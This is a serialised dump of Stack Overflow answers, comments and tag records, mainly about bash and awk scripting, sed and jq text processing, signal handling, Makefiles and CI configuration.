has body: skip all the loops and just use dynamically generated hard-coded fields : __=' +. abc-d+ef1 3 2 4=:_'; # output field order, i.e. $1, $3, $2, $4 # the extra junk is to showcase your # choice of delimiter doesn't matter echo 'A,C,B,D' | gawk -p- -f <( echo "$__" | mawk 'NF && sub("^" FS, "BEGIN { FS = OFS = \",\" } { print $", $!NF--)' FS='[^0-9]*' OFS=', $' ORS=' }' ) A,B,C,D # gawk profile, created Sat Aug 19 03:17:40 2023 # BEGIN rule(s) BEGIN { 1 FS = OFS = "," } # Rule(s) 1 { 1 print $1, $3, $2, $4 } And you can do it with any amount of fields you like, including gigantic ones : BEGIN { FS = OFS = "," } { print \ \ $128188782, $85722244, $123534282, $37670758, $60028290, $131921030, $101600037, $53589940, $48298302, $153042678, $100120464, $107851922, $11180872, $65049972, $153695364, $138511919, $15813948, $24186787, $83253374, $25331659, $59136350, $19155798, $85377535, $11588418, $28771828, $152162471, $31367900, $157916915, $105161093, $106673752, $61974950, $123484701, $149790557, $7895384, $87583052, $138512906, $89536263, $115174743, $106171832, $81369675, $20925017, $69480437, $111922213, $73729383, $138292988, $103837216, $118998152, $143126137, $147159039, $112103403, $28084640, \ $140289494, $81098056, $94239552, $48406403, $95537055, $151629955, $79774382, $96998304, $37622857, $6383655, $75182254, $65407607, $126343621, $133931881, $44400227, $115040821, $133023592, $7542040, $109635804, $33383263, $152010293, $105053789, $152921533, $62330336, $81886602, $43712923, $35282544, $124629910, $118978754, $134056479, $76601479, $149677984, $134249451, $35652544, $85671151, $7297972, $65195787, $136249090, $160250689, $99290903, $93957377, $89791229, $59674074, $98419844, $22061410 } single quotes are safely omitted since generated code fed via -f <( ) construct
answers question: http://stackoverflow.com/q/76927566
score: 0
type: Answer

http://stackoverflow.com/comment/135836895
has text: Thank you both for very relevant links. @EdMorton Because sed failed with `illegal byte sequence`, util I tried with line number addresses like your example - which seems to work! (Still theoretically interesting though, perhaps `dd` could also work?)
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/77051352

http://stackoverflow.com/comment/135598729
type: Comment
has text: `step 5 expecting tabbar to be hidden.` When you click the item of the `ListPage` and navigate to the `Detail page`, the tabbar itself should be hidden, right?
score: 0
comment on: http://stackoverflow.com/q/76917412
type: QuestionComment

http://stackoverflow.com/comment/135604890
type: QuestionComment
comment on: http://stackoverflow.com/q/76922651
score: 0
has text: Do the numbers always appear at the beginning? How wide should the padded numbers be? Just 2 characters?
type: Comment

http://stackoverflow.com/comment/135693283
type: QuestionComment
score: 0
type: Comment
has text: learn to experiment with sample code. I'm assuming you're not sure how to use the `date` command? Just go the the cmd line and copy/paste just the `date +...` from my sample above. If you don't like my date format, then edit the `+...` specification string. Read `man date` (it is a lot, but if you want to get good at script writing `man` is your quickest friend). Else Google, else post here. Busy now. let me know how you are getting along. we can't really do coaching in comments. Try posting a "hello" message to https://chat.stackoverflow.com/rooms/98569/bin-bash . Good luck.
comment on: http://stackoverflow.com/q/76971571

emoji
tag name: emoji
type: Tag
tags question: http://stackoverflow.com/q/76901704
tags question: http://stackoverflow.com/q/77107084
tags question: http://stackoverflow.com/q/78605189

http://stackoverflow.com/comment/135580900
comment on: http://stackoverflow.com/a/76906862
type: Comment
has text: @azLe The example I gave should solve the problem as you've stated it in your question. If you involve loops, it's important to know exactly _how_ and _where_ you loop in order to put the `wait` in the right place. You can update your question with details (and a [mre]) and ping me here again and I'll see if I can provide some solution.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135585096
score: 1
type: Comment
has text: This could be written simpler as `if (( i%2 != 0 ))`
type: AnswerComment
comment on: http://stackoverflow.com/a/76910838

http://stackoverflow.com/comment/135697807
score: 0
comment on: http://stackoverflow.com/q/76974859
type: QuestionComment
has text: @TimRoberts: Not sure that the environment will be propagated to the shell started from the Terminal; see [here](https://unix.stackexchange.com/questions/412295/how-are-environment-variables-defined-in-a-gnome-terminal-session). It could well be that Gnome starts its processes with a fresh environment.
type: Comment

http://stackoverflow.com/a/76903733
downvote count: 0
score: 1
answers question: http://stackoverflow.com/q/76901769
upvote count: 1
type: Answer
has body: The error message {"message":"401 Unauthorized"} means that the API request is not authenticated. This can happen for a few reasons: The access token is invalid. Make sure that you have created a valid access token with the api scope. GitLab documentation. The access token is not for the correct project. Make sure that the access token is for the project that you are trying to update the variable in. GitLab documentation. The access token is not for the correct user. Make sure that the access token is for the user that has permission to update the variable. If you have confirmed that the access token is valid and for the correct project, you can try updating the variable again. Here is the correct curl command: curl --request PUT --header "PRIVATE-TOKEN: $token" "{CI_API_V4_URL}/projects/${CI_PROJECT_ID}/variables/TEST" --form "value=$NEW_VERSION" Replace $token with the value of your access token and $NEW_VERSION with the new value of the variable.

http://stackoverflow.com/comment/135833736
has text: In the regex version, thanks to the greedy quantifier, the leading `[^0-9]` is not strictly required. And the dot in `.tar` should be escaped.
comment on: http://stackoverflow.com/a/77051934
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/a/76897376
has body: First add files to an array: for f in *;{ arr+=("$f"); } Than loop over it like this: for ((i=0,j=1; i<${#arr[@]}; i+=2,j+=2));{ echo ${arr[i]} ${arr[j]}; } Result: file1.txt file2.txt file3.txt file4.txt
answers question: http://stackoverflow.com/q/76896765
score: 0
type: Answer

devcontainer
tag name: devcontainer
tags question: http://stackoverflow.com/q/77022904
type: Tag
tags question: http://stackoverflow.com/q/79233564

http://stackoverflow.com/comment/135760029
score: 2
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77010188
has text: `type` resolves a command name; that's exactly why I recommended it. You might be confusing it with `file`? (BTW, it also resolves other command types like aliases and functions, but you can do `type -P` if you want to avoid that. Or you could use my tool [`what`](https://github.com/wjandrea/what-bash) to get all the info, broken down.)

http://stackoverflow.com/comment/135543862
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/76886382
has text: I am processing a set of signals with more than 100 inside a for loop on shell. I have two variables: one presenting travel time in seconds (t_wave_travel_time_sec=`echo "scale=2; $epic_dist / 1.5" | bc`) and another one with the origin time (origin_time=`awk ' NR==n {print $3}' n=$n $filename `) in hh:mm:ss. I need to calculate the "t_wave_arrival_time" that will be the origin time + t_wave_travel_time_sec.
type: Comment

http://stackoverflow.com/comment/135768886
comment on: http://stackoverflow.com/a/77013286
has text: [jqplay.org for 1st solution.](https://jqplay.org/s/Osuom9Zerlz) [jqplay.org for 2nd solution.](https://jqplay.org/s/opt6ES2CE29)
type: Comment
type: AnswerComment
score: 0

terminator
tags question: http://stackoverflow.com/q/76907867
type: Tag
tag name: terminator

http://stackoverflow.com/comment/135828825
comment on: http://stackoverflow.com/a/77037993
has text: Good that you fixed it, just a suggestion, if you want use to just compare I would suggest, unless you need numeric operation, this is safe even if $choice is empty you will not get error. ``` if [ "$choice" = "1" ] ```
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135730616
score: 0
comment on: http://stackoverflow.com/a/76993801
has text: Tried but not working, it is only giving me single line as output
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135820242
score: 0
comment on: http://stackoverflow.com/q/77043467
has text: I added verbose flag and re-ran the build. I've added the details in the question! @DavidMaze
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/136301855
has text: There is no "recurringpart" in your question so I don't know what you're using that for and other answers show you more robust (yours would fail if the input contained `<blank>##<blank>` or `~` and would trash your input file if a failure ocurred), efficient (you're calling 5 tools and updating the input file 5 times vs 3 tools and updating it once), and portable (you're relying on GNU sed) ways to implement the decorate/sort/undecorate idiom.
comment on: http://stackoverflow.com/a/77049489
score: 0
type: Comment
type: AnswerComment

http://stackoverflow.com/comment/135697910
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76974859
has text: See also [here](https://unix.stackexchange.com/questions/468685/how-to-pass-variables-to-gnome-terminal-command).

ts-node
tag name: ts-node
tags question: http://stackoverflow.com/q/77051289
type: Tag

http://stackoverflow.com/comment/135760969
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/77010843
has text: How do I write to file ? $fullfilepath
score: 0

http://stackoverflow.com/comment/135644093
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/76944879
has text: Thats what I wanted <....> in one line, when I tried above sed command its not working for 200+ lines. When i ran above one two times then only its showing in one line but not case for 200+ lines.

redis-cli
type: Tag
tag name: redis-cli
tags question: http://stackoverflow.com/q/76887171
tags question: http://stackoverflow.com/q/78240103

http://stackoverflow.com/comment/135594638
comment on: http://stackoverflow.com/q/76915647
type: Comment
score: 0
has text: @Barmar This point is true, but it doesn’t make a difference. If signal was sent to both processes, why one “wait” blocks and the other doesn’t? Also, the same behavior happen with SIGINT sent via kill command (which doesn’t propagate to children like CTRL-C does)… and the same behavior I am asking about happen with SIGTERM and SIGQUIT.
type: QuestionComment

maven
tags question: http://stackoverflow.com/q/77014035
tag name: maven
type: Tag
tags question: http://stackoverflow.com/q/78075531

http://stackoverflow.com/comment/135755638
type: QuestionComment
comment on: http://stackoverflow.com/q/77007882
score: 0
type: Comment
has text: does `(Get-Item ...).CreationTime = [datetime]::new(2022, 11, 21)` work?

http://stackoverflow.com/comment/135606940
comment on: http://stackoverflow.com/q/76915647
type: Comment
has text: Probably the best solution is to attempt to kill the process with signal 0 after the first `wait` returns. If the kill is successful (meaning the child process still exists) you know that `wait` returned because it caught a signal. (But there is a very slim possibility that some other process got the same child pid immediately after it terminated.)
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135735541
comment on: http://stackoverflow.com/q/76993432
has text: fwiw, [`example.com`](https://www.rfc-editor.org/rfc/rfc2606#section-2),etc exist for things like this. Both `email.com` and `node.server.name.com` are real hosts
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135559221
has text: @josinalvo it requires sorted streams; those streams can be made from unsorted files -- that's slow, but not as slow as worst-case diff behavior. The real question is whether sorting the output destroys some of its meaning.
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76893303

http://stackoverflow.com/comment/135735195
type: QuestionComment
type: Comment
score: 0
has text: As an example, I just tested on some files, where my `yourscript.sh` takes a single argument, the filename, and prints out the PID and the filename (as proof that each filename gets their own dedicated script running). With that, I did `find path/to/dir -type f -iname '*.jpg' -print0 | xargs -0 -L 1 -P 4 yourscript.sh`, and it ran individually on each file. See help pages for [`find`](https://man7.org/linux/man-pages/man1/find.1.html) and [`xargs](https://man7.org/linux/man-pages/man1/xargs.1.html) for info on their command-line arguments.
comment on: http://stackoverflow.com/q/76996212

http://stackoverflow.com/comment/135717658
comment on: http://stackoverflow.com/a/76986780
type: Comment
has text: @EdMorton: thank you very much, I've updated my answer. @DavidMakogon: OP told he has *already written code to do it with the help of while loop* so I assumed he used a `bash` script with `while`. He was just asking if it was **possible** to do the same with `awk`, which is definitively possible. Even if there is no question mark, his implicit question was clear enough for me :)
type: AnswerComment
score: 1

elasticsearch
tags question: http://stackoverflow.com/q/76903745
tag name: elasticsearch
type: Tag

http://stackoverflow.com/a/76978611
score: 0
has body: You should use white space after the command "ls". There is no command called "ls-a". "ls" is the actual command with the flag "-a" (which should be seperated using a space) which lists all files including hidden ones. Just try ls -a and you should be all good.
answers question: http://stackoverflow.com/q/76978564
type: Answer

http-redirect
type: Tag
tag name: http-redirect
tags question: http://stackoverflow.com/q/77036222

http://stackoverflow.com/a/76993592
score: 1
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/76993197
has body: There's no need for the .versions if you want each components name and version this is enough: .product[].components[] | "\(.name): \(.version)" Output JVM: 11.0.16 TOMCAT: 9.0.56 JVM: 11.0.16 TOMCAT: 9.0.56 If you want to include the versions from the product themself, you can loop over the components after showing .versions, for example the following filter .product[] | .versions, (.components[] | "\t\(.name): \(.version)") Outputs 1.0 JVM: 11.0.16 TOMCAT: 9.0.56 1.1 JVM: 11.0.16 TOMCAT: 9.0.56 If you don't need the string interpolation, "\(.name): \(.version)" can be replaced with join(": "), eg: .product[].components[] | join(": ")
downvote count: 0
accepted answer of: http://stackoverflow.com/q/76993197
upvote count: 1
type: Answer

http://stackoverflow.com/comment/135572971
comment on: http://stackoverflow.com/q/76898164
type: QuestionComment
type: Comment
score: 0
has text: @jhnc `/home <ip>:/storage/rbd/home nfs rw,noatime,vers=3,rsize=1048576,wsize=1048576,namlen=255,hard,proto=tcp,timeo=600,retrans=2,sec=sys,mountaddr=<ip>,mountvers=3,mountport=<port>,mountproto=udp,local_lock=none,addr=<ip>`

http://stackoverflow.com/a/76974912
has body: So may problem with this. When you are starting a new Shell, you are losing exported item right away. If you want them to be appear in next shell, at least you have to add the variable in the rc file Single quote will not process variable it would have to be double quote. i.e. #gnome-terminal -- sh -c 'cd $commonPath/$x;make;$SHELL' gnome-terminal -- sh -c "cd $commonPath/$x;make;$SHELL" And for your problem, probably better solution would be commonPath="~/Documents/myServices" for x in service1 service2 service3; do make -C $commonPath/$x & done
answers question: http://stackoverflow.com/q/76974859
type: Answer
has comment: http://stackoverflow.com/comment/135698625
has comment: http://stackoverflow.com/comment/135697865
has comment: http://stackoverflow.com/comment/135702484
score: 0

http://stackoverflow.com/comment/135607892
type: QuestionComment
comment on: http://stackoverflow.com/q/76924061
type: Comment
score: 0
has text: Does this answer your question? [An efficient way to transpose a file in Bash](https://stackoverflow.com/questions/1729824/an-efficient-way-to-transpose-a-file-in-bash)

http://stackoverflow.com/comment/135589351
score: 0
comment on: http://stackoverflow.com/q/76913085
type: QuestionComment
type: Comment
has text: So you want to change fields based on the order of lines in each file rather than by the value of the `ID` column, right?

http://stackoverflow.com/comment/135842816
has text: It's not that Tim Cook will come in person to punish you if you don't follow his recommendations. For your login shell, you can (if you want) use any shell you feel comfortable, but don't forget that the `bash` which comes free with MacOS, is pretty old and you may want to install a more recent one. What exactly are you using your default **login** shell for? In practice, most of the time you will start the shell from Terminal.app (or something similar), and in this case, you can explicitly set in the preference, which shell to use.
comment on: http://stackoverflow.com/q/77052638
type: QuestionComment
type: Comment
score: 0

http://stackoverflow.com/comment/135643428
has text: should `<a b="c < < < < < "/>` be changed or output as-is?
comment on: http://stackoverflow.com/q/76944879
type: QuestionComment
type: Comment
score: 0

husky
tags question: http://stackoverflow.com/q/76928865
type: Tag
tag name: husky
tags question: http://stackoverflow.com/q/78435268

http://stackoverflow.com/comment/135584730
comment on: http://stackoverflow.com/q/76910492
has text: can't say for sure if this is your problem, but `grep -q myserver` will also match `myservermonitor`, right? I would take `screen` out of the picture until you understand better what is going on (use plain xterms). Also, please consider wrapping your code in your question so it is visible without having to scrolll right. To make it so readers can copy/paste, use the "\" (backslash only, no quotes needed) as the line-continuation character. Good luck.
type: Comment
score: 0
type: QuestionComment

http://stackoverflow.com/comment/135777640
comment on: http://stackoverflow.com/q/76996212
type: QuestionComment
type: Comment
score: 0
has text: To quickly troubleshoot your original code parallel file writes, you could run it without Rawtherapee, giving a `cmd_string = "echo ' ' > file_name"`.

http://stackoverflow.com/comment/135713221
type: QuestionComment
comment on: http://stackoverflow.com/q/76978564
score: 0
type: Comment
has text: someone answered my question it was a typo on my end. Their should be a use white space after the command "ls".

http://stackoverflow.com/comment/135733025
has text: Also please show the output that make generates when you run the make command.
comment on: http://stackoverflow.com/q/76994952
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135582603
has text: Shell is more like a normal programming language than it might look. You know how in Python you can't put `cmd = 'for item in list:'` and then use `cmd` instead of a `for` loop without doing horrible things? POSIX-family shells are the same way; It may _look_ like it blurs the line between data and syntax, but that line is actually very solid and well-defined (which is good: otherwise it would be impossible to write secure code in shell scripts that handle untrusted data).
score: 1
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/76909230

http://stackoverflow.com/comment/135684447
has text: ok, but default time duration for long press in "adb shell input keyevent --longpress 23" is 1500 sec, i need 3 sec or more, i cant see how i can change default time
type: QuestionComment
comment on: http://stackoverflow.com/q/76930863
score: 0
type: Comment

http://stackoverflow.com/comment/135677201
score: 0
comment on: http://stackoverflow.com/q/76962672
has text: Added my comment as an answer...
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135789706
type: Comment
comment on: http://stackoverflow.com/q/77027254
has text: `eval` can be quite dangerous. Can you trust all your input files?
score: 3
type: QuestionComment

http://stackoverflow.com/comment/135617623
has text: If there is no cronjob then `crontab -l` outputs its text `no crontab for ...` as error message to stderr (2) and you need to redirect stderr (2) to stdout (1) with something like `2>&1` to make it accessable for your string comparison. See https://en.wikipedia.org/wiki/Standard_streams
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76924108

travis-ci
tags question: http://stackoverflow.com/q/77043467
type: Tag
tag name: travis-ci

http://stackoverflow.com/comment/135543950
type: Comment
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/76886550
has text: Ok. I created the code and tried to execute code, including some time examples as input: python3.9 arrival_time.py 12:22:22 2304.34

http://stackoverflow.com/comment/135675475
score: 0
comment on: http://stackoverflow.com/q/76962672
type: QuestionComment
type: Comment
has text: I would guess the folder picker changes the current directory (you can verify using `Debug.Print CurDir`) , and your script somehow relies on that being a specific path. If that's not the issue, then as noted there's little we can do without seeing the rest of your code.

http://stackoverflow.com/comment/135711531
has text: Read [mcve] and also the section "How to turn a bad script into a good question" in the [bash info page](https://stackoverflow.com/tags/bash/info). Good luck.
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76982715

http://stackoverflow.com/comment/135595634
has text: Yes ! Hahaha. Oh, and I can confirm that `while/read` solution works using `zsh`.
score: 1
type: Comment
type: AnswerComment
comment on: http://stackoverflow.com/a/76916586

http://stackoverflow.com/comment/135636832
has text: I suggest: `var=$( echo "string1" | tr -d '\n'; echo; echo "string2" | tr -d '\n'; echo )`
score: 1
type: Comment
comment on: http://stackoverflow.com/a/76939972
type: AnswerComment

http://stackoverflow.com/comment/135558484
type: QuestionComment
has text: Hello all, I tried using systemd with the After and Wants variables with the network.service service and enabling the custom service, but at restart the service always started and failed, even with After and/or Wants as options. The service would always start before network and obviously it didn't work because ffmpeg couldn't find the IP Camera.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76893847

filesystems
type: Tag
tag name: filesystems
tags question: http://stackoverflow.com/q/77010630

http://stackoverflow.com/comment/135651678
comment on: http://stackoverflow.com/q/76943562
type: QuestionComment
has text: @Uberhumus,sorry for the late reply.It's not work. I got ```10``` only, without file name.
type: Comment
score: 0

http://stackoverflow.com/comment/135839657
has text: Coming back to best practices...if you tag everything 'latest' in lower environments, don you run the risk of QA, for example, pulling an image from DEV on any docker restart in QA?
comment on: http://stackoverflow.com/a/77039474
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/135685628
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76968047
type: QuestionComment
has text: Good, I posted a more robust version of that gawk script with an explanation of it as [an answer](https://stackoverflow.com/a/76969187/1745001) now. I expect you could report that grep issue of no error message to the BSD folks or whoever it is who provides that grep.

http://stackoverflow.com/comment/135605779
score: 0
has text: Aside: `trap "_term TERM" SIGTERM` should be `trap "_term TERM" TERM`. With `trap "_term TERM" SIGTERM`, the Dash shell produces the error message `trap: SIGTERM: bad trap`.
type: QuestionComment
comment on: http://stackoverflow.com/q/76915647
type: Comment

http://stackoverflow.com/comment/135634759
has text: Thanks. I think that was not possible 15 years ago.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/76939845

http://stackoverflow.com/comment/135815958
type: QuestionComment
type: Comment
score: 0
has text: I suppose that `--` and `D:\Date\LTS_23-6-20_ML\2_BasicML\inference_cnn.py` are arguments for the *Python* script `launcher` or `launcher 60484`. The help output on running `cmd /?` in a command prompt window not only explains how the argument(s) after option `/C` or option `/K` are interpreted depending on various criteria, but also that file name (or any other argument string) containing a space or one of these characters ``&()[]{}^=;!'+,`~`` (or literally to interpret `<>|`) must be enclosed in `"`. The command line posted in question might miss the necessary `"` around the arguments.
comment on: http://stackoverflow.com/q/77042151

http://stackoverflow.com/comment/135805346
score: 0
has text: The `-a` flag doesn't work with redirect. From the `time` man page: -a, --append Append the resource use information to the output file instead of overwriting it. This option is only useful with the `-o` or `--output` option. So I would try write to file that way. LMK if this works for you.
type: QuestionComment
comment on: http://stackoverflow.com/q/77036222
type: Comment

http://stackoverflow.com/comment/135822246
comment on: http://stackoverflow.com/q/77042792
has text: Depending on Bash version it could be done as `openssl enc -base64 <<<"Apps:apps1"` also
score: 1
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135644410
comment on: http://stackoverflow.com/a/76945233
type: Comment
has text: I have another case , here testfile1 and testfile3 are same and testfile2 has 2 lines mysite.mw_path=/mw/mysite/cfg/DATA1/ mysite.mw_brkr_path=/usr/local/mw/mysite/cfg/DATA2/ `while IFS= read -r line; do pattern1=$(echo "$line" | awk -F '@|@' '{print $2}') if [ -n "$pattern1" ]; then pattern2=$(grep "$pattern1" $2 | awk -F"=" '{ print $2 }') sed "s|$pattern1|$pattern2|g" testfile3.txt > output_21aug.txt fi done < "$1" ` test_script.sh testfile1.txt testfile2.txt sed is working for only 2nd line
type: AnswerComment
score: 0

http://stackoverflow.com/comment/135589618
score: 4
has text: Your script has several other issues, you should copy/paste it into http://shellcheck.net so it can tell you about some of those but you'll need to strip all that gitlab Ci (whatever that is!) stuff first to get it to just be a shell script.
comment on: http://stackoverflow.com/q/76913434
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135706870
type: QuestionComment
score: 0
type: Comment
has text: This might help: https://en.wikipedia.org/wiki/Shell_(computing) I assume you are using `bash`.
comment on: http://stackoverflow.com/q/76980350

image
type: Tag
tag name: image
tags question: http://stackoverflow.com/q/76944313

http://stackoverflow.com/comment/135810744
type: QuestionComment
comment on: http://stackoverflow.com/q/77039334
type: Comment
score: 0
has text: At the first attempt to read OP post, was simple text, but when I try to edit, that was XML in fact. So this is not _that_ simple as manipulating strings. Most of the times, beginners use the wrong tools. So better add a good example in this special case. That's why I answered here.

http://stackoverflow.com/comment/135754043
type: Comment
has text: Is the prefix of each file different like shown (`abc_`, `uvw_`)?
score: 1
comment on: http://stackoverflow.com/q/77006747
type: QuestionComment

http://stackoverflow.com/comment/135761128
type: Comment
type: AnswerComment
score: 0
has text: Thanks. How do I replace "," with ":" in description field to avoid csv getting incorrect column ?
comment on: http://stackoverflow.com/a/77010843

http://stackoverflow.com/comment/135733503
type: QuestionComment
has text: ... That is, the output it produces after you have removed or commented out `SILENT:`.
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76994952

http://stackoverflow.com/comment/135734906
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76994952
has text: Also, I don't know what the `...` in your makefile means. One thing I'll say right off, is that `echo -e` is completely non-portable. You should never use `echo` in any portable script (such as a makefile recipe) to do anything other than print simple text. If you need anything more fancy, use `printf` instead of `echo`.

http://stackoverflow.com/comment/135545912
has text: Put the variable in quotes: `$RED DUMP "$key"` if it can contain spaces.
comment on: http://stackoverflow.com/q/76887171
score: 0
type: QuestionComment
type: Comment

continuous-integration
tags question: http://stackoverflow.com/q/77014035
tag name: continuous-integration
type: Tag
tags question: http://stackoverflow.com/q/77032363
tags question: http://stackoverflow.com/q/77319360

xcodebuild
tags question: http://stackoverflow.com/q/77000910
type: Tag
tag name: xcodebuild

http://stackoverflow.com/comment/135606554
has text: You could set a variable in the trap handler and check it after the first `wait` to decide if the `wait` exit status is due to the shell trapping the signal, or due to a child process terminating. That probably suffers from some race conditions though because you somehow need to distinguish whether the signal was caught before or during the execution of `wait`.
type: QuestionComment
comment on: http://stackoverflow.com/q/76915647
type: Comment
score: 0

http://stackoverflow.com/comment/135726386
has text: @Dr.PB notice the sed commands are enclosed in single quotes. This prevents the shell from interpreting anything within the those quotes. You could replace the single quotes by double quotes and this most likely would do your bidding. However if you want to interpret a shell variable then surround it by single and double quotes i.e. `'"${IP}"'` This has the effect of sandwiching the variable between to single quoted strings and allows the shell to do its work without sacrificing the goodness of single quotes. BTW the double quotes preserve any spaces (if any) in the shell variable.
type: Comment
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/76990052

http://stackoverflow.com/comment/135805664
comment on: http://stackoverflow.com/q/77036222
type: QuestionComment
type: Comment
score: 0
has text: @Uberhumus there is not bash in android with adb. I have found a way to do this :{ time taskset -a 80 ./doit.sh ; } 2> output.txt

http://stackoverflow.com/comment/135736101
score: 0
comment on: http://stackoverflow.com/q/76994952
type: QuestionComment
has text: @MadScientist Sorry for the incomplete description abc.mk has below contents: FILE_ARGS = select[file_tpye=txt] and ... means some extra code.
type: Comment

http://stackoverflow.com/comment/135594481
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/76916410
has text: `monitored_paths` is not an array, it's a string.
type: Comment

tcsh
type: Tag
tags question: http://stackoverflow.com/q/76967654
tag name: tcsh
tags question: http://stackoverflow.com/q/77090496
tags question: http://stackoverflow.com/q/77100241
tags question: http://stackoverflow.com/q/77788358
tags question: http://stackoverflow.com/q/78160403
tags question: http://stackoverflow.com/q/78154096
tags question: http://stackoverflow.com/q/78571365
tags question: http://stackoverflow.com/q/79151191

http://stackoverflow.com/comment/135653466
type: Comment
type: AnswerComment
has text: The point is, that I don't know the context, and what exactly you want to achieve. Why, for instance, are you using a HERE document? You could simply put all those commands into a permanent file (i.e. not on /tmp) and source them. Or you could put the commands into a function.
score: 0
comment on: http://stackoverflow.com/a/76942856

http://stackoverflow.com/comment/135813969
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/77041015
type: Comment
has text: In general, though: let's say you have a line `M path.txt`. When you run `svn_files+=(${line})`, that adds `M` as one entry and `path.txt` as a second one, because you didn't quote it as `svn_files+=( "$line" )`. You have the same problem when you use `for f in ${svn_files[@]}` instead of `for f in "${svn_files[@]}"`, and _yet again_ when you use `echo $f` instead of `echo "$f"`.

http://stackoverflow.com/comment/135729773
has text: Cross-site duplicate? [How to trick a command into thinking its output is going to a terminal](https://unix.stackexchange.com/q/249723/118235)
score: 1
comment on: http://stackoverflow.com/q/76993753
type: QuestionComment
type: Comment

http://stackoverflow.com/comment/135771394
comment on: http://stackoverflow.com/a/77016008
has text: Try the `var = \`cat\` << EOS .... EOS` version mentioned elsewhere in that answer. Good luck to all.
type: Comment
type: AnswerComment
score: 1

http://stackoverflow.com/comment/135567571
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/76898164
has text: what is the output of `findmnt -nT $HOME` ?

http://stackoverflow.com/a/77049182
score: 0
has body: MSYS employs a method for handling the conversion of Windows to Unix paths. All we need to do is set MSYS2_ARG_CONV_EXCL to *. https://www.msys2.org/docs/filesystem-paths/#automatic-unix-windows-path-conversion.
answers question: http://stackoverflow.com/q/77042151
type: Answer

http://stackoverflow.com/comment/135589337
score: 0
comment on: http://stackoverflow.com/q/76913085
type: QuestionComment
has text: @kvantour, thanks for your suggestions. I hope the question is now more clear.
type: Comment

http://stackoverflow.com/comment/135815716
type: Comment
has text: to be more specific i want an entire line to be a single element in the list/arrays created,
type: AnswerComment
score: 0
comment on: http://stackoverflow.com/a/77042018

http://stackoverflow.com/comment/135808212
type: QuestionComment
has text: I found that `cat /proc/3823/status | grep -i name` works well
type: Comment
comment on: http://stackoverflow.com/q/77015147
score: 0

http://stackoverflow.com/a/78077102
answers question: http://stackoverflow.com/q/77022904
downvote count: 0
score: 1
upvote count: 1
has body: env variables need can't be persisted this way , you need to add them to your bashrc , you have added it only to the current execution of the shell running the postCreateCommand
type: Answer

http://stackoverflow.com/comment/135818087
score: 0
has text: Are you sure configure.sh is at WORKDIR and not any other location? Also, according to your second try with chmod +x it seems that the script is not at /, which doesn't mean anything bad on its own...
comment on: http://stackoverflow.com/q/77043467
type: QuestionComment
type: Comment

http://stackoverflow.com/a/76913535
has body: Here's an approach using only coreutil tools. tail -n+2 chops off the first line, paste concatenates its inputs linewise using tabs in between, and cut -f1,3,6 outputs the (concatenated) columns 1, 3, and 6. tail -n+2 file2 | paste - file1 | cut -f1,3,6 "ID_1" "X" "Place1" "ID_2" "Y" "Place2"
answers question: http://stackoverflow.com/q/76913085
has comment: http://stackoverflow.com/comment/135589740
downvote count: 0
score: 1
upvote count: 1
type: Answer

http://stackoverflow.com/comment/135577160
comment on: http://stackoverflow.com/a/76902755
has text: If you're going to use one bashism (arrays), might think about using another (built-in time formatting). `printf -v hour '%(%H)T' -1` is a fair bit faster than spawning `date` as a subprocess.
type: Comment
type: AnswerComment
score: 1

automator
type: Tag
tags question: http://stackoverflow.com/q/76937067
tag name: automator
tags question: http://stackoverflow.com/q/77900657
tags question: http://stackoverflow.com/q/77997666
tags question: http://stackoverflow.com/q/78199979
tags question: http://stackoverflow.com/q/78881686
tags question: http://stackoverflow.com/q/78819229

rtsp
tag name: rtsp
type: Tag
tags question: http://stackoverflow.com/q/76893847

http://stackoverflow.com/comment/135811031
comment on: http://stackoverflow.com/a/77039474
type: Comment
type: AnswerComment
score: 1
has text: it looks like it was spaces around the '='. thanks again

ffmpeg
type: Tag
tags question: http://stackoverflow.com/q/76893847
tag name: ffmpeg
tags question: http://stackoverflow.com/q/77120045
tags question: http://stackoverflow.com/q/77247045
tags question: http://stackoverflow.com/q/77336485
tags question: http://stackoverflow.com/q/77812128
tags question: http://stackoverflow.com/q/78468848
tags question: http://stackoverflow.com/q/79090132

open-liberty
type: Tag
tag name: open-liberty
tags question: http://stackoverflow.com/q/77043467

http://stackoverflow.com/comment/135573660
comment on: http://stackoverflow.com/q/76903745
has text: What does it mean "_reading each line from json and adding below line for for indexing_"? JSON doesn't work by lines, but by name-value pairs (object/dictionary/hash...) and ordered lists (array/list), and those structures can be nested, while you process the file line by line, so: (1) How does your JSON look? (2) Where do you want to add what you show, in terms of JSON structure (not arbitrary lines in a file)? Also, you are showing an extra line (with `$row`); what is that?
type: QuestionComment
